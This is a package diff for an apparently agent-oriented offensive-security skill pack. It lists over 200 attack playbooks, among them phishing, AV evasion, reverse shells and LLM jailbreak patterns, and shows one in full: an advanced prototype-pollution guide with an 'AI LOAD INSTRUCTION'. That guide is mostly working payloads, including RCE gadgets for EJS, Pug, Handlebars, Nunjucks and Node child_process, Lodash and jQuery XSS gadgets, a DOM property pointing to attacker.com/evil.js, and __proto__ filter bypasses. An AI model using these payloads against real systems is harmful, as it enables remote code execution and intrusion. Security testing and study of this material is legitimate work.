ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,338 @@
1
+ ---
2
+ name: prototype-pollution-advanced
3
+ description: >-
4
+ Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets.gated: true
5
+ ---
6
+
7
+ # SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation
8
+
9
+ > **AI LOAD INSTRUCTION**: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load [../prototype-pollution/SKILL.md](../prototype-pollution/SKILL.md) first for fundamentals (merge sinks, `__proto__` vs `constructor.prototype`, basic probes).
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [prototype-pollution](../prototype-pollution/SKILL.md) — **LOAD FIRST** for PP fundamentals, merge-sink detection, basic probes
14
+ - [ssti-server-side-template-injection](../ssti-server-side-template-injection/SKILL.md) — template engine RCE context (PP often triggers through template gadgets)
15
+ - [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) — client-side PP gadgets ultimately achieve XSS
16
+
17
+ ### Advanced Reference
18
+
19
+ Load [KNOWN_GADGETS.md](./KNOWN_GADGETS.md) for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.
20
+
21
+ ---
22
+
23
+ ## 1. SERVER-SIDE PP → RCE
24
+
25
+ ### 1.1 Node.js child_process.spawn — Shell/ENV Injection
26
+
27
+ When `child_process.spawn` or `child_process.fork` is called without explicit `env`/`shell` options, it inherits from `Object.prototype`:
28
+
29
+ ```javascript
30
+ // Vulnerable pattern (very common):
31
+ const { execSync } = require('child_process');
32
+ execSync('ls'); // inherits shell, env from prototype
33
+
34
+ // Pollution for RCE:
35
+ Object.prototype.shell = '/proc/self/exe';
36
+ Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
37
+ Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
38
+ // Next child_process call executes attacker code
39
+ ```
40
+
41
+ Alternative ENV pollution:
42
+
43
+ ```json
44
+ {"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}
45
+ ```
46
+
47
+ ### 1.2 EJS (Embedded JavaScript Templates)
48
+
49
+ EJS `render()` reads `opts` from object properties. Polluting `outputFunctionName` injects code into the compiled template function:
50
+
51
+ ```json
52
+ // Pollution payload:
53
+ {"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}
54
+
55
+ // When EJS renders ANY template after pollution:
56
+ // Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";
57
+ // → RCE
58
+ ```
59
+
60
+ Detection: any EJS `res.render()` call after pollution triggers it.
61
+
62
+ ### 1.3 Pug (formerly Jade)
63
+
64
+ Pug's compiler reads `block` from object properties:
65
+
66
+ ```json
67
+ {"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}
68
+ ```
69
+
70
+ Alternative via `self` option:
71
+
72
+ ```json
73
+ {"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}
74
+ ```
75
+
76
+ ### 1.4 Handlebars
77
+
78
+ Handlebars template compilation checks `type` and `program` on template AST nodes:
79
+
80
+ ```json
81
+ {"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}
82
+ ```
83
+
84
+ Simpler via `allowProtoMethodsByDefault`:
85
+
86
+ ```json
87
+ {"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
88
+ // Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}
89
+ ```
90
+
91
+ ### 1.5 Nunjucks
92
+
93
+ ```json
94
+ {"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}
95
+ ```
96
+
97
+ ### 1.6 Express res.render (Generic)
98
+
99
+ When Express calls `res.render()`, options merge with `app.locals` and `res.locals`. Polluted prototype properties appear as template variables:
100
+
101
+ ```json
102
+ {"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}
103
+ ```
104
+
105
+ ---
106
+
107
+ ## 2. CLIENT-SIDE PROTOTYPE POLLUTION
108
+
109
+ ### 2.1 jQuery Gadgets
110
+
111
+ `$.extend(true, {}, userInput)` performs deep merge — classic PP sink.
112
+
113
+ After pollution, jQuery's HTML methods use polluted properties:
114
+
115
+ ```javascript
116
+ // Pollution:
117
+ Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
118
+
119
+ // Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
120
+ $('<div>').appendTo('body'); // may use polluted property
121
+ ```
122
+
123
+ ### 2.2 Lodash Gadgets
124
+
125
+ ```javascript
126
+ // Vulnerable functions (deep merge):
127
+ _.merge({}, userInput)
128
+ _.defaultsDeep({}, userInput)
129
+ _.set(obj, path, value) // if path is attacker-controlled
130
+
131
+ // template() gadget:
132
+ Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
133
+ _.template('hello')(); // sourceURL injected into Function constructor
134
+ ```
135
+
136
+ ### 2.3 Script Gadgets in Frameworks
137
+
138
+ "Script gadgets" are framework code paths that read from `Object.prototype` and perform dangerous operations:
139
+
140
+ | Framework | Gadget Pattern | Polluted Property | Impact |
141
+ |---|---|---|---|
142
+ | jQuery | `$.html()`, element creation | `innerHTML`, `src` | XSS |
143
+ | Angular.js | `$interpolate` | `__defineGetter__` | XSS |
144
+ | Vue.js | Template compilation | `template`, `render` | XSS |
145
+ | Ember.js | Component rendering | Various view properties | XSS |
146
+ | Backbone.js | `_.template` | `sourceURL` | XSS |
147
+
148
+ ### 2.4 DOM Property Pollution
149
+
150
+ ```javascript
151
+ Object.prototype.src = 'https://attacker.com/evil.js';
152
+ Object.prototype.href = 'javascript:alert(1)';
153
+ Object.prototype.action = 'https://attacker.com/phish';
154
+ // Any dynamically created element may inherit these
155
+ ```
156
+
157
+ ---
158
+
159
+ ## 3. DETECTION TECHNIQUES
160
+
161
+ ### 3.1 Black-Box Server-Side Detection
162
+
163
+ ```
164
+ Step 1: Inject and check
165
+ POST /api/endpoint
166
+ {"__proto__":{"polluted":"yes"}}
167
+
168
+ Then: GET /api/anything
169
+ Check if response contains "polluted" or behavior changes
170
+
171
+ Step 2: Error-based detection
172
+ {"__proto__":{"toString":1}}
173
+ → If server crashes or returns 500, toString was overwritten
174
+
175
+ {"__proto__":{"valueOf":1}}
176
+ → Same crash-based detection
177
+
178
+ Step 3: Response differential
179
+ {"__proto__":{"status":555}}
180
+ → Check if HTTP status code changes to 555
181
+
182
+ {"__proto__":{"content-type":"text/plain"}}
183
+ → Check if Content-Type header changes
184
+ ```
185
+
186
+ ### 3.2 Black-Box Client-Side Detection
187
+
188
+ ```javascript
189
+ // In browser console after interacting with the app:
190
+ Object.prototype.testPollution
191
+ // If returns a value → something polluted the prototype
192
+
193
+ // Automated: override defineProperty to detect writes
194
+ Object.defineProperty(Object.prototype, '__proto__', {
195
+ set: function(v) { console.trace('PP detected!', v); }
196
+ });
197
+ ```
198
+
199
+ ### 3.3 Automated Tools
200
+
201
+ | Tool | Type | Purpose |
202
+ |---|---|---|
203
+ | **PPScan** | Burp Extension | Scans for server-side PP |
204
+ | **server-side-prototype-pollution** | Burp Extension (Gareth Heyes) | Advanced server-side PP detection with multiple techniques |
205
+ | **ppfuzz** | CLI | Fuzz for client-side PP via URL fragment/query |
206
+ | **ppmap** | CLI | Map client-side PP to known gadgets |
207
+
208
+ ---
209
+
210
+ ## 4. BYPASS `__proto__` FILTERS
211
+
212
+ ### 4.1 constructor.prototype Path
213
+
214
+ ```json
215
+ // Instead of:
216
+ {"__proto__": {"polluted": "yes"}}
217
+
218
+ // Use:
219
+ {"constructor": {"prototype": {"polluted": "yes"}}}
220
+ ```
221
+
222
+ ### 4.2 Bracket Notation Variants
223
+
224
+ ```
225
+ ?constructor[prototype][polluted]=yes
226
+ ?__proto__[polluted]=yes
227
+ ?__pro__proto__to__[polluted]=yes (if filter strips __proto__ once)
228
+ ```
229
+
230
+ ### 4.3 JSON Key Variations
231
+
232
+ ```json
233
+ {"__proto__": {"a": 1}}
234
+ {"constructor": {"prototype": {"a": 1}}}
235
+ {"__proto__\u0000": {"a": 1}}
236
+ ```
237
+
238
+ ### 4.4 Key Distinction: Shallow vs Deep
239
+
240
+ `Object.assign` does NOT pollute prototype (shallow copy, safe). Only recursive/deep merge functions are vulnerable. Always verify the merge depth.
241
+
242
+ ---
243
+
244
+ ## 5. EXPLOITATION FLOW
245
+
246
+ ```
247
+ 1. Find merge sink (../prototype-pollution/SKILL.md Section 0)
248
+ └── JSON body parsed and deep-merged into server object
249
+
250
+ 2. Confirm pollution:
251
+ └── {"__proto__":{"testxyz":"1"}} → check if testxyz appears globally
252
+
253
+ 3. Identify technology stack:
254
+ ├── Express + EJS → outputFunctionName gadget (Section 1.2)
255
+ ├── Express + Pug → block gadget (Section 1.3)
256
+ ├── Express + Handlebars → type/program gadget (Section 1.4)
257
+ ├── Any Node.js with child_process → shell/NODE_OPTIONS (Section 1.1)
258
+ ├── Client-side jQuery → DOM gadgets (Section 2.1)
259
+ ├── Client-side Lodash → template/sourceURL (Section 2.2)
260
+ └── Unknown → try KNOWN_GADGETS.md systematically
261
+
262
+ 4. Craft RCE/XSS payload matching gadget
263
+
264
+ 5. Verify with safe payload first (sleep / DNS callback)
265
+
266
+ 6. Escalate to full RCE
267
+ ```
268
+
269
+ ---
270
+
271
+ ## 6. DECISION TREE
272
+
273
+ ```
274
+ Confirmed prototype pollution?
275
+
276
+ ├── Server-side or client-side?
277
+ │ │
278
+ │ ├── SERVER-SIDE
279
+ │ │ ├── Template engine in use?
280
+ │ │ │ ├── EJS → __proto__.outputFunctionName (Section 1.2)
281
+ │ │ │ ├── Pug → __proto__.block (Section 1.3)
282
+ │ │ │ ├── Handlebars → __proto__.type (Section 1.4)
283
+ │ │ │ ├── Nunjucks → __proto__.type (Section 1.5)
284
+ │ │ │ └── Unknown → try each gadget from KNOWN_GADGETS.md
285
+ │ │ │
286
+ │ │ ├── child_process used anywhere?
287
+ │ │ │ ├── YES → __proto__.shell + NODE_OPTIONS (Section 1.1)
288
+ │ │ │ └── MAYBE → inject and trigger error to reveal stack
289
+ │ │ │
290
+ │ │ └── No known gadget?
291
+ │ │ ├── Try status code pollution: __proto__.status = 555
292
+ │ │ ├── Try header pollution: __proto__.content-type
293
+ │ │ └── Check KNOWN_GADGETS.md for framework match
294
+ │ │
295
+ │ └── CLIENT-SIDE
296
+ │ ├── jQuery loaded?
297
+ │ │ ├── YES → $.extend deep merge + DOM gadgets (Section 2.1)
298
+ │ │ └── Check ppmap for automated gadget detection
299
+ │ │
300
+ │ ├── Lodash loaded?
301
+ │ │ ├── YES → _.template sourceURL gadget (Section 2.2)
302
+ │ │ └── _.merge as both sink AND gadget
303
+ │ │
304
+ │ └── Framework (Angular/Vue/Ember)?
305
+ │ └── Script gadget lookup (Section 2.3)
306
+
307
+ ├── __proto__ keyword filtered?
308
+ │ ├── Try constructor.prototype (Section 4.1)
309
+ │ ├── Try bracket notation (Section 4.2)
310
+ │ └── Try JSON key variations (Section 4.3)
311
+
312
+ └── Not confirmed yet?
313
+ └── Go back to ../prototype-pollution/SKILL.md for detection
314
+ ```
315
+
316
+ ---
317
+
318
+ ## 7. QUICK REFERENCE — KEY PAYLOADS
319
+
320
+ ```json
321
+ // EJS RCE
322
+ {"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}
323
+
324
+ // Pug RCE
325
+ {"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}
326
+
327
+ // child_process RCE (Node.js)
328
+ {"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}
329
+
330
+ // Lodash template XSS
331
+ {"__proto__":{"sourceURL":"\u000ajavascript:alert(1)//"}}
332
+
333
+ // Filter bypass (constructor path)
334
+ {"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
335
+
336
+ // Safe detection probe
337
+ {"__proto__":{"pptest123":"polluted"}}
338
+ ```